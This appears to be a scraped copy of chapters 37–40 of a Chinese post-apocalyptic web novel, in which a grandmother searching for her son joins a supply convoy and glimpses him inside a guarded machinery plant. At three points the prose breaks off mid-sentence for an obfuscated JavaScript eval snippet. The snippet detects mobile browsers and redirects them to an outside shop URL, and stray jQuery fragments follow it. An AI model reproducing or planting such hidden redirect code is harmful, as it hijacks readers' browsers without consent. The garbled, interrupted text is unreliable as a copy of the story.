林晓坐在一旁,认真听着,手指轻轻敲击着桌面,陷入沉思,等王桂香说完,才开口说道:“大娘,你说的那个阿虎,我之前听医疗点来的机械厂伤号提过,他是周主任的心腹,手段狠辣,负责厂区的安保与对外联络,平时很少离开机械厂,这次去中转站,大概率是为了物资交接,或是打探安全区的情况。他既然没为难你们,就说明他没有恶意,也不知道你们的身份,往后咱们更要谨慎,绝不能暴露寻亲的意图,更不能让人知道你是从西边基地逃出来的,一旦被基地探子盯上,不光咱们,整个安全区的老弱妇孺都要受牵连。”
王桂香心里一紧,连忙点头:“俺知道,俺都记住了,往后一定谨言慎行,绝不乱说话,不给你们惹麻烦。只是……强子在机械厂,被周主任管控着,咱们该怎么办?总不能一直等下去,俺怕夜长梦多,万一基地的人查到机械厂,或是周主任那边出了变故,强子他……”
说到这里,她的声音微微哽咽,眼底满是担忧。好不容易有了儿子的消息,却隔着重重阻碍,想见不能见,想聚不能聚,这种煎熬,比颠沛流离还要难受。
37.第 37 章
林生叹了口气,语气沉重:“大娘,我懂你的心思,换做是我,我也急。可现在不是冲动的时候,咱们没有路条,没有靠山,贸然前往机械厂,根本进不去厂区大门,反而会被当成奸细抓起来,到时候不仅见不到张强,还会把你们祖孙四个搭进去。安全区现在看似安稳,实则暗流涌动,治安队和基地本就貌合神离,最近基地频繁在周边活动,治安队已经加强了管控,进出安全区越来越难,下一次再想去中转站,怕是没那么容易了。”
“那咱们就一直等吗?”王桂香看着林生,眼神里满是急切,“俺等得起,可孩子们等得起,强子也等不起啊,俺怕再等下去,就真的没机会了。”
“不是一直等,而是要谋划。”林晓开口,语气坚定,眼神里透着与年纪不符的沉稳,“大娘,爸,咱们不能坐以待毙,要主动谋划,但要步步为营,不能出半点差错。首先,咱们要摸清机械厂的内部情况,周主任的规矩、厂区的布局、张强的具体位置、进出厂区的通道,还有基地与机械厂的关系,这些都要打听清楚,不能盲目行动。其次,要攒物资,粮食、药品、衣物、防身的工具,这些都是必需品,路上要用,万一真的要去机械厂,这些东西能救命。最后,也是最关键的,要找一个靠谱的引路人,或是弄到进出厂区的凭证,没有这些,咱们根本靠近不了机械厂。”
林生点了点头,赞同林晓的说法:“晓燕说得对,步步为营才是上策。我明天去分拣点干活,留意来往的人员,尤其是经常往返安全区与机械厂的幸存者,打听机械厂的消息,顺便多换点粮食和工具。晓燕在医疗点,继续接触机械厂的伤号,打探内部情况,留意有没有能帮上忙的人。大娘,你就在安全区好好干活,看好孩子,照顾好自己,别露出异样,咱们分工协作,慢慢谋划,总有机会的。”
王桂香看着父女俩坚定的神色,心里的慌乱渐渐平复,点了点头:“好,俺听你们的,好好干活,看好孩子,绝不冲动。林同志,林护士,俺们祖孙几个,就拜托你们了。”
“大娘,说这话就见外了,末世里,咱们互相照应,才能活下去。”林生摆了摆手,语气诚恳,“等咱们把一切都谋划好,找到合适的机会,就想办法让你们母子团聚,一家人再也不分开。”
夜色渐深,窝棚外的安全区渐渐安静下来,只有治安队巡逻的脚步声偶尔传来,昏黄的煤油灯在窝棚里摇曳,映着几人的脸庞,暖意融融。孩子们喝了热粥,累了一天,躺在干草铺上,很快便进入了梦乡,呼吸均匀,脸上带着安稳的神色,不再有白日的惶恐。
王桂香坐在干草铺边,守着孩子们,听着林生父女低声商议后续的计划,心里满是感激与期盼。她知道,前路依旧充满艰难险阻,基地的威胁、机械厂的封锁、安全区的暗流,每一道都是难关,可她不再是孤身一人,有林生父女帮忙,有孩子们在身边,她就有勇气面对一切。
她悄悄从帆布包里拿出林晓给的消炎药与压缩饼干,小心翼翼地藏在干草铺的角落,又把柴刀放在伸手可及的地方,做好万全的准备。白日的惊险、寻亲的急切、未来的担忧,都在这窝棚的暖意里,渐渐沉淀下来,化作心底的坚定。
林生和林晓商议完计划,又叮嘱了王桂香几句,让她夜里多加小心,看好门户,有动静立刻喊人,才起身离开,返回自己的住处。窝棚里渐渐安静下来,王桂香躺在孩子们身边,却没有丝毫睡意,睁着眼睛,看着窝棚缝隙里的夜色,心里一遍遍想着儿子张强的模样,想着一家人团聚的场景。
她想起末世前,家里的小院,儿子在院里修理农具,儿媳做饭,她带着小宝玩耍,日子平淡却幸福。一场灾难,毁了一切,家破人亡,骨肉分离,她拖着年迈的身躯,带着三个孩子,在废墟里挣扎求生,吃尽了苦头,受尽了磨难,可她从未放弃,因为她心里始终有念想,有盼头。
如今,念想就在眼前,盼头就在前方,她更要坚持下去。
不知过了多久,夜色渐浓,安全区彻底陷入沉寂,只有风吹过窝棚油毡布的声响,轻轻作响。王桂香渐渐有了睡意,却依旧保持着警惕,半梦半醒间,手里紧紧攥着柴刀,守护着身边的孩子,也守护着心底的希望。
她不知道,此刻的机械厂厂区,灯火昏暗,张强正靠在车间的墙角,手里攥着一张破旧的照片,照片上是年幼的小宝,眉眼清晰。他已经在机械厂待了大半年,被周主任管控着,每天干活换取口粮,无时无刻不在思念着母亲和儿子,四处打听她们的消息,却始终没有音讯。他知道安全区的存在,却没法离开厂区,只能日复一日地等待,期盼着有一天,能见到亲人。
母子俩,隔着十几里的废弃城区,在同一片夜色下,各自坚守,彼此思念,都在为了重逢,默默努力。
而安全区之外,基地的巡逻队依旧在周边活动,探子潜伏在各个角落,打探着安全区与机械厂的消息,一场更大的危机,正在悄然酝酿。中转站的混乱、机械厂的封锁、基地的扩张、安全区的平和,都只是表象,暗流在地下涌动,随时可能爆发。
王桂香心里清楚,往后的日子,只会越来越难,可她无所畏惧。她有要守护的孩子,有要寻找的亲人,有好心人的相助,只要活着,就有希望。她会在安全区安稳度日,好好劳作,积攒物资,等待时机,等到时机成熟,便带着孩子,踏上寻亲之路,无论前路多么凶险,她都不会退缩。
天快亮时,王桂香才浅浅入眠,睡梦中,她见到了儿子张强,见到了失
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531097|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
散的亲人,一家人围坐在一起,吃着热饭,说着家常,没有灾难,没有危险,只有安稳与幸福。她嘴角微微上扬,露出一抹久违的笑意,那是她在末世里,最期盼的场景,也是她一直以来,活下去的动力。
清晨的微光透过窝棚缝隙照进来,新的一天开始了。王桂香起身,收拾好窝棚,给孩子们整理好衣物,烧好热水,准备迎接新的一天。依旧是领饭、劳作、守护孩子,看似平淡的日常,却藏着寻亲的希望,藏着对未来的期盼。
她知道,每一个平淡的日子,都是在为重逢做准备,每一次努力的劳作,都是在靠近亲人一步。她会带着这份坚定,在这乱世里,稳稳地走下去,直到一家人团聚的那一天。而那些潜藏的危机、涌动的暗流,都无法阻挡她寻亲的脚步,无法磨灭她心底的希望,她会用自己的双手,护着孩子,守着念想,在这片废墟之上,寻得属于自己的团圆。
安全区的夜,安静得能听见风扫过窝棚顶塑料布的沙沙声。王桂香睁着眼,鼻尖还萦绕着中转站废墟的腥气,手里攥着孩子们的小手,生怕哪个孩子夜里翻身滚下去。
妞妞睡相不安分,小脚丫蹬在她的腰上,王桂香轻轻把那只小脚按回被子里,指尖触到孩子脚心的薄汗,心里稍稍松了口气。今天这一趟中转站之行,太险,她到现在,后背的冷汗还没干透。
窝棚另一头,林生也没睡。他借着窗外透进来的微弱天光,手里拿着一截削尖的木棍,在地上轻轻划着,似乎在盘算什么。林晓则坐在小板凳上,手里捧着林生给她倒的温水,眉头轻轻皱着,显然也在为白天的事忧心。
王桂香轻轻翻了个身,发出轻微的响动。林生立刻抬起头,做了一个“嘘”的手势,示意她小声。
王桂香会意,悄悄爬过去,蹲在干草堆旁,压低声音:“林同志,你也没睡?”
“睡不着。”林生把木棍往旁边一挪,给她让出一块地方,“白天那事,我越想越不踏实。中转站那地方,最近风气不对,基地的探子,怕是真的扎下根了。”
他顿了顿,眼神里闪过一丝厉色:“还有那个流民刀疤脸,按理说,被老周赶跑了就该散了,可他眼神不对,盯着孩子,不像是临时起意,倒像是……早就摸清了你们的底细。”
王桂香的心猛地一沉:“你的意思是……有人故意盯着俺们?”
“不是没有这个可能。”林晓接过话头,声音冷静,“你们是安全区里为数不多带着孩子、且行踪不明的外来户,又是分拣点的重点户,在有些人眼里,就是最好的猎物。要么是流民想卖孩子换吃的,要么……就是基地的人在撒网。”
“基地的人?”王桂香倒吸一口凉气,“俺们就是普通老百姓,哪得罪他们了?”
38.第 38 章
“他们要抓的,从来就不是普通老百姓。”林生叹了口气,“我听人说,基地最近在扩编,缺人手。凡是年轻力壮的,不管男女,只要看着还行,就想抓去当苦力。还有,我听说,他们特别想找从基地逃出去的人,尤其是……知道里面核心秘密的。”
王桂香的心脏狠狠一缩。
她从基地逃出来,身上背着那个“邪恶老奶”的名头,若是被基地的人知道她就在安全区,别说她自己,就连林生父女,还有三个孩子,都得跟着遭殃。
“那……那咱以后咋办?”王桂香的声音带着一丝颤抖,却又死死咬着牙,“俺不能因为怕,就不去找强子了。那是俺儿子,俺不能丢了他。”
“大娘,你别急。”林生连忙安抚,“我们不是不让你找,只是得更小心。你白天回来,有没有发现身后有人跟着?”
王桂香回想了一下,摇了摇头:“回来的路上,一切正常,治安队的灯也在,应该……”
“那就好。”林晓说道,“这说明他们还没掌握确切的行踪,只是在留意。接下来,咱们得更谨慎。第一,在窝棚里,咱们少出声,少出门,尽量不让外人注意到你们的动静。第二,分拣点的活,我去跟老赵说,给你们换个离医疗点近的角落,那边人多眼杂,反而安全点。”
“第三,也是最重要的一点,”林生目光灼灼地看着王桂香,“我们得尽快策划下一次行动。这一次去中转站,虽然没见到张强叔,但至少确认了方向,也确认了机械厂的人确实经常出没。我们得抓住机会,再出去一次。”
“再出去?”王桂香瞪大了眼睛,“白天刚遇到了歹人,晚上又说基地的人盯着,再去,太危险了!俺们不能拿三个孩子的命去赌!”
“大娘,我知道你担心。”林晓轻声说,“但你想想,若是我们一直待在安全区里,就像井底之蛙,永远也等不到张强叔出来的机会。机械厂周主任查得严,他不出来,我们进去不了,唯一的办法,就是等机会,或者……制造机会。”
她顿了顿,继续说道:“我明天去医疗点,会留意机械厂的消息。我听说,中转站最近要和机械厂有一次大的物资交接,到时候,会有大量的机械厂人员进出。这是我们接近他们的最好机会,也是……最危险的机会。”
“物资交接?”王桂香喃喃道,“那里面,会不会有俺儿子?”
“肯定有。”林生肯定地说,“机械厂是周边最大的物资供应地之一,每次交接,都是重头戏。到时候,中转站会有大量的人手,场面混乱,我们正好可以混进去,或者找到认识张强叔的人。”
王桂香的心里,再次燃起了熊熊烈火。
她看着身边熟睡的孩子们,又看了看林生父女恳切的眼神,深吸一口气,眼神变得无比坚定:“好。俺们干。”
“大娘!”林生连忙阻止,“你先别答应得这么快。我们得详细计划,得确认路线,得准备好足够的干粮和药品,不能有一丝一毫的差错。”
“俺知道。”王桂香点头,“俺不急,俺等你们计划好。只是不管多险,俺都要去。俺不能让俺儿子一个人在里面,俺要去见他。”
窝棚里再次安静下来。
月光透过窝棚缝隙,照在四个人的脸上。王桂香的脸上,有疲惫,有决绝,有对儿子的无限期盼。林生父女的脸上,则有担忧,有算计,有对未来的无限迷茫。
他们都知道,这一步踏出去,就是生死未卜。
可他们也都知道,这一步,必须踏出去。
第二天清晨,王桂香早早地起了床,帮孩子们穿好衣服,又仔细检查了一遍他们的小脸,确认没有任何异常,才牵着他们走出窝棚。
林生已经在门口等着了,他今天穿了一件新的粗布褂子,脸上带着笑意:“大娘,今天咱不去广场领饭了,我去给你们领,咱们在窝棚里吃,省得出去惹人注意。”
王桂香心里一暖,点了点头。
她知道,这是林生在保护他们。
今天的安全区,看起来和平常一样,炊烟袅袅,秩序井然。但王桂香能感觉到,空气中,多了一丝不一样的紧张气息。
通道上,多了几个陌生的面孔。他们穿着和安全区幸存者一样的衣服,却眼神锐利,四处张望,不像幸存者,倒像探子。
还有几个治安队队员,也比往日更加严肃,巡逻的频率更高了。
王桂香牵着孩子,低着头,快步跟着林生,朝着分拣点的方向走去。一路上,她不敢多看,生怕惹来不必要的麻烦。
到了分拣点,老赵已经在忙碌了。林生走过去,跟他低声说了几句。老赵看了看王桂香和孩子们,点了点头,指了指角落一个靠近医疗点的位置:“王大娘,今天你们就在那干吧,那边人多,也方便照应。”
王桂香连忙道谢。
这个位置,果然比之前好。旁边坐着几个安全区的老人,还有几个妇女,大家都在埋头干活,偶尔交流几句,气氛融洽,也让人安心。
王桂香把孩子们安排好,让他们乖乖坐着,不许乱跑,自己则拿起旧衣物,开始分拣。
她的心思,却不在活计上。
她在想,物资交接是什么时候?
会有多少机械厂的人来?
能不能真的见到张强?
会不会又遇到像昨天那样的危险?
无数个问题,在她脑海里打转。
中午,林晓来了。她给孩子们带来了几颗水果糖,是医疗点抢救伤员时剩下的,宝贝得很。她还悄悄塞给王桂香一个小布包,里面是一些草药和一小袋压缩饼干。
“大娘,这是我能弄到的最好的干粮了。”林晓压低声音,“我今天打听了,物资交接定在后天清晨。到时候,中转站会戒严,只有持有特别通行证的人才能进出。我和我爸打算,让你混在运送物资的队伍里,混进去。”
“混进去?”王桂香愣住了,“俺们也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533395|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能去?”
“很难,但不是不可能。”林生不知什么时候也过来了,他手里拿着一张纸,上面画着一张简单的地图,“这是中转站和机械厂之间的路线图。我和老赵商量了,让你扮成搬运工,跟着队伍走。队伍里人多,目标大,基地的人不会注意到你这个老太太。”
他指着地图上的一个点:“这里是中转站的后门,有一条小路直通机械厂的侧门。侧门的守卫相对宽松,是给内部人员进出的。只要能混到侧门附近,就有机会。”
王桂香看着地图,手指轻轻抚摸着那个代表机械厂的小点,心脏砰砰直跳。
离儿子,又近了一步。
“可是,孩子们怎么办?”王桂香担忧地问,“总不能带着他们一起闯侧门吧?”
“这就是最麻烦的地方。”林生皱起眉头,“侧门不许带孩子。我和晓燕商量了,孩子们,暂时留在中转站。我去找老周,让他帮忙照看一下,给孩子们找点吃的,保证他们的安全。”
“不行!”王桂香立刻反对,声音激动,“俺不能把孩子丢在这!孩子不在身边,俺啥也干不了!”
“大娘,你听我说。”林晓连忙拉住她,“这是最稳妥的办法。你一个人去,目标小,方便行动。孩子们在中转站,有老周照应,有安全区的人在,比跟着你冒险安全多了。等你见到张强叔,确认了安全,我们再想办法把孩子接过去。”
王桂香咬着嘴唇,心里纠结万分。
她舍不得孩子,一刻也舍不得。
可她也知道,林晓说得对。带着孩子,根本进不了侧门,甚至可能连队伍都混不进去。
为了儿子,为了一家人的团聚,她必须狠下心。
“好。”王桂香深吸一口气,眼神坚定,“俺去。孩子们,就拜托你们了。”
“大娘,你放心。”林生郑重地说,“我会把孩子们当成自己的亲生孩子一样照看。只要我在,孩子们就不会出事。”
夕阳西下,王桂香和孩子们一起,在窝棚里吃了一顿简单的晚饭。饭是林生从广场领回来的,有稀粥,有咸菜,还有一点点玉米面饼。
王桂香把饼都分给了孩子们,自己只喝了一碗稀粥。
“奶奶,明天咱还吃这个吗?”妞妞一边吃,一边小声问。
“吃。”王桂香笑着摸了摸她的头,“以后,还有更好吃的。”
“更好吃的?是什么?”小宝好奇地问。
“是……是你爸爸做的饭。”王桂香的声音温柔,却带着一丝不易察觉的哽咽,“等见到了你爸爸,咱们就能天天吃好吃的,再也不用挨饿了。”
孩子们似懂非懂,点了点头,继续吃饭。
王桂香看着他们,心里充满了无限的不舍和期盼。
她知道,后天清晨,将是她这一路寻亲以来,最关键的一天。
那一天,她将独自踏入虎狼之窝,朝着那个名为“家”的方向,发起最猛烈的冲击。
39.第 39 章
那一天,她或许能见到日思夜想的儿子。
那一天,她或许会面临生死的考验。
但她没有退路。
她只能前进。
夜,再次降临。安全区的灯火,依旧昏黄而温暖。王桂香躺在干草堆上,身边是熟睡的孩子们。她睁着眼,看着屋顶的塑料布,心里一遍遍默念着:
“强子,娘来了。”
“强子,娘要见你。”
“强子,等着娘。”
…
天刚蒙蒙亮,安全区的西门就已经笼罩在一层密不透风的晨雾里。
王桂香是被自己剧烈的心跳声震醒的。窗外远处,治安队巡逻灯的微光在雾色里忽明忽暗,伴随着零星的脚步声,格外催人。她几乎是一夜未眠,身边三个孩子睡得安稳,呼吸绵长,妞妞的小脸还蹭着她的脖颈,软乎乎的触感让她心里一阵发紧——这是她此行最大的牵挂,也是她必须咬牙挺过的理由。
林生早已在窝棚外等候,一身灰扑扑的搬运工装,肩上扛着一个沉重的大麻袋,里面装着几箱待运的物资。他看见王桂香出来,立刻迎上前,压低声音:“大娘,都备好了。孩子我已经安顿到老周那里,给了吃的,让他在中转站仓库里待着,不许乱跑。你放心,有我在,孩子们出不了事。”
王桂香点了点头,喉咙像是被什么堵住一般,发不出声音。她深深看了一眼窝棚的方向,那是她在废墟之上暂时的安身之所,如今却要在这里告别,心里万般不舍,却只能化作一句极轻的:“林同志,拜托了。”
“快走吧。”林生把她往队伍方向推了推,“队伍快集合了,别迟到。记住,混在人群里,话少,眼活,不管看到什么,都要沉住气。到了机械厂侧门附近,要是情况不对,立刻想办法脱身,千万别逞强。”
“俺知道。”王桂香攥了攥手里的麻布包,里面是林晓塞的压缩饼干、草药,还有那把裹着黑布的柴刀。她深吸一口气,压下翻涌的情绪,朝着物资队伍的方向走去。
队伍已经排得很长,大多是安全区和中转站的青壮年劳力,还有几个和她一样的老人。每个人脸上都带着几分麻木的疲惫,手里提着工具,默默等着点名。带队的正是老周,他今天穿了一身深蓝色的工装,脸上的疤痕在雾色里更显凌厉,正拿着名册一个个核对。
“王大娘?”老周看了一眼名册,又上下打量了她一番,眉头轻轻皱了皱,“你这年纪,加上孩子……按理说不该派你这趟活。”
“周大哥,俺身子骨还行,搬点轻的没问题。”王桂香连忙赔着笑,把手里的证明递过去,“老赵都安排好了,不会添麻烦。”
老周看了看证明,又看了看她坚定的眼神,没再多说,只是挥了挥手:“跟上队伍,别掉队。路上有感染者,还有流窜的流民,听我口令,别单独行动。”
“俺记住了。”
随着老周一声“出发”,队伍浩浩荡荡地驶出了安全区西门。
一出门,雾色更浓。风里裹挟着潮湿的霉味,还有一丝若有若无的、感染者遗留下来的腥甜。王桂香紧紧跟着队伍的尾巴,脚步刻意放得慢而稳,眼睛却像探照灯一样,快速扫过两侧的废墟。
路两旁,是倒塌的房屋和翻倒的车辆,碎玻璃在雾里闪着冷光,断裂的钢筋像怪兽的骨骼,直指天空。每走一步,脚下的杂草和碎石都发出沙沙的轻响,让人心头发紧。
妞妞和小宝不在身边,王桂香总觉得心里空了一块。她时不时会下意识回头,想喊孩子们的名字,又猛地咽回去,硬生生把那股冲动压下去。她告诉自己,此刻的每一分犹豫,每一次回头,都可能给身边的人带来杀身之祸。
走了大概半个多小时,雾稍微散了些。前方出现了一片开阔地,没有太多建筑,只有几座残破的厂房,那是通往机械厂的必经之路。
“大家放慢脚步,保持队形。”老周的声音从前方传来,带着压低的警告,“前面是感染者常出没的区域,别出声,别乱动乱碰。”
队伍瞬间安静下来,连呼吸都放得极轻。每个人都屏住气,小心翼翼地往前挪动,目光死死盯着脚下的路,生怕惊扰了藏在废墟里的感染者。
王桂香的心提到了嗓子眼,手悄悄摸到了怀里的柴刀,指尖冰凉。她看着前方一个个高大的男人,心里暗暗祈祷,希望这一路能平平安安。
就在队伍快要穿过开阔地的时候,突然,一阵低沉的嘶吼从身后的废墟里传来。
那声音沙哑、浑浊,带着一股令人毛骨悚然的寒意。
“吼——!”
队伍瞬间僵住,所有人都猛地回头。
只见不远处的断墙后面,猛地窜出几个黑影。是感染者!他们衣衫褴褛,皮肤发青,动作僵硬却迅猛,朝着队伍扑了过来。
“跑!快跑!”老周一声大喝,率先举起手里的铁棍,朝着最前面的感染者砸了过去。
队伍瞬间乱了。
有人尖叫着往前冲,有人慌乱中摔倒,物资散落一地,发出巨大的声响,引来了更多感染者的嘶吼。
王桂香被挤在队伍中间,吓得脸色发白,却不敢停下脚步。她跟着人群往前跑,脚下的碎石打滑,好几次差点摔倒,幸好身边一个安全区的大叔伸手拉了她一把。
“大娘,跟上!别停下!”大叔大喊着,把她往队伍中间推。
王桂香紧紧跟着,心脏砰砰直跳,几乎要跳出胸腔。她能感觉到,身后感染者的嘶吼声越来越近,那股腥甜的气息也越来越浓。
跑了大概十几分钟,前方终于出现了一道用铁丝网临时搭建的关卡,关卡后面,是机械厂的轮廓。
“快!进关卡!”老周大喊着,带头冲了过去。
队伍争先恐后地往关卡里涌,感染者被挡在关卡外面,疯狂地撞击着铁丝网,发出震耳欲聋的声响。
王桂香终于松了一口气,腿一软,差点瘫坐在地上。她扶着旁边的一根铁管,大口大口地喘着气,后背早已被冷汗浸湿。
惊魂未定。
这一路,是她从基地逃出来之后,最惊险的一次。
“都清点一下人数,看看少没少。”老周
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535523|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喘着气,对着队伍喊道,“检查一下物资,别丢了。”
众人纷纷停下脚步,互相清点。王桂香也看了看自己手里的麻袋,确认物资还在,心里稍稍安定了些。
“大娘,你没事吧?”刚才拉她的大叔关切地问。
“没事,多谢你。”王桂香勉强挤出一个笑意。
“这趟活真是要命。”大叔叹了口气,“机械厂这侧门守卫严,里面的人也凶,咱们这趟,算是拿命换口饭吃。”
王桂香没说话,只是默默看着前方。
机械厂的侧门,就在眼前。
厚重的铁门被漆成深灰色,上面刻着几道深深的划痕,门口站着两个荷枪实弹的守卫,穿着黑色的制服,眼神锐利地扫视着每一个进出的人。门旁边,挂着一块牌子,上面写着几个醒目的大字——内部通道,严禁携带无关人员。
离儿子,这么近。
近到,她几乎能感觉到,那扇门后面,有一个人,正日日夜夜地寻找着她,寻找着她和孩子们的踪迹。
王桂香的眼睛有些发热,却强行忍住。她知道,现在不是感性的时候,进了这扇门,才是真正的考验。
“队伍整理好,分批进去。”老周说道,“第一组,先进去。第二组,等会儿。王大娘,你跟第二组,注意看守卫的规矩,别乱说话。”
“俺记住了。”
王桂香站在队伍里,看着第一组的人一个个通过安检,走进了那扇深灰色的铁门。她的心跳越来越快,手心全是汗水。
终于,轮到第二组了。
守卫仔细检查了每个人的证明,又翻查了物资,才挥挥手,让他们进去。
王桂香跟着队伍,一步步靠近侧门。
近了,更近了。
她能清晰地看到,守卫制服上绣着的徽章,能听到门里面传来的机器运转声,能闻到那股和安全区完全不同的、带着机油和钢铁气息的味道。
穿过铁门的那一刻,王桂香的心脏猛地一缩。
她仿佛穿越了一道生死之门。
门的这一边,是废墟、危险、逃亡和绝望。
门的那一边,是高墙、秩序、物资和……她的儿子。
机械厂内部,比外面想象的要繁华得多。
道路平整,两侧是新建的房屋和厂房,有穿着制服的人来来往往,脸上大多带着疲惫,却也有几分安稳。路边摆着小摊,有卖干粮的,有卖日用品的,虽然简陋,但至少有烟火气。
和外面的废墟世界,截然不同。
“都跟着我,去物资仓库那边卸货。”老周带着队伍,朝着深处走去。
王桂香紧紧跟着,眼睛却在快速扫视着四周。
她在找。
找那个熟悉的身影。
找那个眉眼像极了她的儿子张强。
可人太多了。
机械厂太大了。
房屋一栋接着一栋,人群密密麻麻,她看了半天,也没找到任何一个让她心头一震的面孔。
失望像潮水一样,慢慢漫上心头。
40.第 40 章
也许,他在厂区深处。
也许,他在别的车间。
也许,他此刻就在这栋建筑里,却隔着几堵墙,隔着几个人群,看不见她。
王桂香咬了咬嘴唇,把那股酸涩压下去。
没关系。
只要人在里面。
只要还在这。
就总有机会。
她低下头,强迫自己把注意力放在活计上。开始和其他人一起,把物资搬下车,分类整理。
她的手,微微颤抖着。
每一次拿起箱子,每一次放下货物,她都在心里默念:强子,娘来了。娘在找你。娘就在这。
时间一点点过去,太阳渐渐升高,雾色彻底散去,阳光洒在机械厂的地面上,显得格外明亮。
卸货的活渐渐结束,老周让大家原地休息,等着清点人数。
王桂香坐在地上,靠着一根柱子,轻轻喘着气。她的目光,不由自主地朝着厂区深处望去。
那里,是核心区域。
是周主任所在的地方。
她听说,那里守卫最严,普通人根本进不去。
可她的儿子,会不会就在那里?
就在这时,一阵脚步声从身后传来,伴随着一个男人的呵斥声。
“都起来!别坐着!赶紧收拾东西走人!周主任有令,今天所有人干完活立刻走,不许逗留!”
王桂香心里一紧,连忙站起身,收拾好自己的东西。
就在这时,她看到,从厂区深处,走来一群人。
为首的是一个身材高大的男人,脸上带着一道横疤,正是她在中转站见过的阿虎。他身边跟着几个手下,步伐矫健,气势逼人。
而在阿虎的身后,跟着一个男人。
一个让王桂香瞬间浑身僵住的男人。
那个男人,穿着深蓝色的工装,头发有些凌乱,脸上带着疲惫,却眉眼分明。他的侧脸,他的下颌线,他走路时微微外八的步子……
全都像极了她的儿子。
像极了张强。
王桂香的呼吸瞬间停滞了。
她的眼睛死死盯着那个男人,心脏砰砰直跳,几乎要冲破胸膛。她想喊,想冲过去,想喊一声“强子”,可喉咙像是被堵住一般,发不出任何声音。
男人似乎察觉到了什么,猛地转过头。
当他的目光,落在王桂香身上的时候,也瞬间僵住了。
四目相对。
时间仿佛在这一刻静止了。
周围的人声、脚步声、机器声,全都消失了。
只剩下两人,隔着十几米的距离,隔着人群,隔着这片陌生的厂区,看着彼此。
王桂香的眼泪,再也控制不住,猛地涌了出来。
她看到,那个男人的眼睛,也瞬间红了。
他的嘴唇动了动,似乎想说什么,却又说不出来。
就在这时,阿虎拍了拍他的肩膀,低声说了一句什么,男人回过神,脸色微微一变,快步跟上了阿虎的队伍,朝着深处走去。
可那一眼。
那一眼,足够了。
王桂香确认了。
那就是她的儿子。
她找了大半年,翻山越岭,穿越尸海,从荒野到棚户区,从安全区到中转站……
终于,在这一刻,在这片陌生的机械厂里,在离她十几米远的地方,与她的儿子,遥遥相望。
她的强子,还活着。
她的一家人,还没有散。
王桂香捂着嘴,蹲在地上,无声地哭了起来。
哭声压抑,却撕心裂肺。
她哭的,是这一路的苦难。
是这一路的颠沛流离。
是这一路,无数次的绝望和放弃。
也是这一路,终于迎来的,触手可及的重逢。
王桂香蹲在地上,死死捂着嘴,指节用力到泛白,将那撕心裂肺的呜咽尽数堵在喉咙里,只有滚烫的眼泪顺着指缝疯狂涌出,砸在脚下布满灰尘的水泥地上,晕开一小片湿痕。
方才那短短一瞬的对视,像一把重锤狠狠砸在她心上,砸散了大半年来所有的疲惫、恐惧与绝望,也砸得她浑身发软,几乎要瘫倒在地。她绝不会认错,那个跟在阿虎身后、眉眼间带着熟悉轮廓的男人,就是她日思夜想的儿子张强。那眼神里的错愕、震惊,还有瞬间泛红的眼眶,是骨肉相连的本能,是跨越生死的牵挂,任谁都伪装不来。
可他终究还是走了,跟着阿虎的队伍,快步朝着厂区深处走去,脚步仓促,甚至没能再回头看一眼。王桂香望着他消失在厂房拐角的背影,指甲深深嵌进掌心,尖锐的痛感让她强行从失控的情绪里抽离出来。她清楚,方才那一幕,绝不能被任何人察觉,尤其是机械厂的守卫、阿虎身边的人,一旦被看出端倪,不光她自己走不出这厂区,连张强都会被牵连,轻则受罚,重则可能丢了性命。
这里不是安全区,不是能肆意流露情绪的地方。机械厂规矩森严,阿虎一看就是周主任跟前的得力手下,行事狠厉,张强跟在他身边,必然身不由己,连片刻的停留都做不到。王桂香缓缓站起身,背靠着冰冷的水泥柱,微微低着头,用粗糙的衣袖胡乱擦去脸上的泪痕,努力平复急促的呼吸,让自己看起来和其他搬运工一样,只是个疲惫不堪、只求干完活离开的普通人。
身边的工友们没人留意到她的异样,要么瘫坐在地上大口喘气,要么互相抱怨着这一路的凶险,还有人盯着机械厂内规整的环境,满眼艳羡。“这地方可比安全区强多了,有吃有喝,还有正经活干,要是能留下来,再也不用遭外面的罪了。”一个年轻小伙低声叹道,语气里满是向往。
“别想了,没那么容易。”旁边的中年男人撇了撇嘴,“这里管得比基地还严,进出都要路条,外人根本留不下,就算是里面的工人,也不能随便乱跑,听说私自靠近核心厂区,直接就被抓起来了。
